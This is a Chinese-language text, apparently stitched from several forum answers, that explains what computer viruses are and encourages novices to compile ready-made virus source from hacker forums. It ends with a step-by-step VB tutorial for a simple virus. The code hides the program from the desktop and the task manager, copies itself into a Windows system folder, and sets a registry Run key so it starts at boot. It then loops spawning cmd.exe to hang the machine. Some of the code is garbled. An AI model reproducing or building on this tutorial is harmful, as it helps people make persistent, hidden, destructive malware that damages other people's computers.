病毒也是程序,只是他与正常程序不同的是他具有自我复制传播,破坏性,隐蔽性等行为. 攻击电脑只是其中的一小部分而已. 攻击又分很多种 目前主要以漏洞攻击,拒绝服务攻击,网站挂马,恶意插件,蠕虫,溢出攻击,0day ,第三方软件漏洞利用以及一个经常被忽视的社会学攻击为主. 病毒既然能够在电脑上运行,当然他就是程序文件,对于病毒的编写,根据操作系统不同,感染方式,以及运行方式不同而不同. 病毒的种类很多,种类数量最多的是dos病毒占据90% 编写语言主要是c和汇编. 目前流行的病毒编写方式比较多样化,有vb,delphi c/c++ java asp php 易语言等等. 对于病毒的编写很多病毒的编写者并不需要自己拥有多少编程知识,甚至有的连里面的很多代码都无法看懂的人也能编写一些具有破坏性的病毒.因为网上有很多地方可以找到别人已经设计成熟的病毒代码, 菜鸟病毒作者甚至不需要更改任何代码就可以立即使用这些病毒原码编译生成病毒执行. 对于病毒原代码,其实有些实现原理很简单,你去看看杀毒软件防御那些病毒,你就能找到与之相对应的破坏行为的病毒代码.多去搜索引擎找找就可以发现更多. 有很多论坛里对于病毒的讨论和知识汇集比较集中,可以多去看看就了解了 我经常去的站点有黑客基地论坛http://bbs.hackbase.com/ 安全焦点,邪恶八进制,安全中国等这样的网站.有时间你也可以去看看.
好的叫程序叫软件,违法或破坏用途的叫病毒。所以精通系统或软件知道系统或软件弱点的程序员都很大可能制出病毒。而有能力写杀毒软件的人更用能力造病毒。就如你手中有枪而没有约束时,你可以对付坏人,也可以对付无辜的人,甚至是对付。。。
第一步,隐藏一下我们的小东西!把Visible 设为False,这样打开程序,在桌面会看不到。加入代码App.TaskVisible = False这样就在任务管理器中隐藏了。第二步,写入自我复制代码Dim f As Stringf = App.Path & "\" & App.EXEName & ".exe"d = "C:\WINDOWS\SYSTEM\bo.exe" '这个bo.exe大家可以改下名,随便改。FileCopy f, d第三步,实现开机启动。Set wsh = CreateObject("Wscript.Shell")wsh.regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\xiaochouwanju", "C:\WINDOWS\SYSTEM\bo.exe" 'bo.exe要与上面相吻合。加入这些代码就在注册表内让开机启动C:\WINDOWS\SYSTEM\bo.exe了第四步,加入一些破坏代码。这个我不太知道,好像可以死机~Doshell "cmd.exe"loop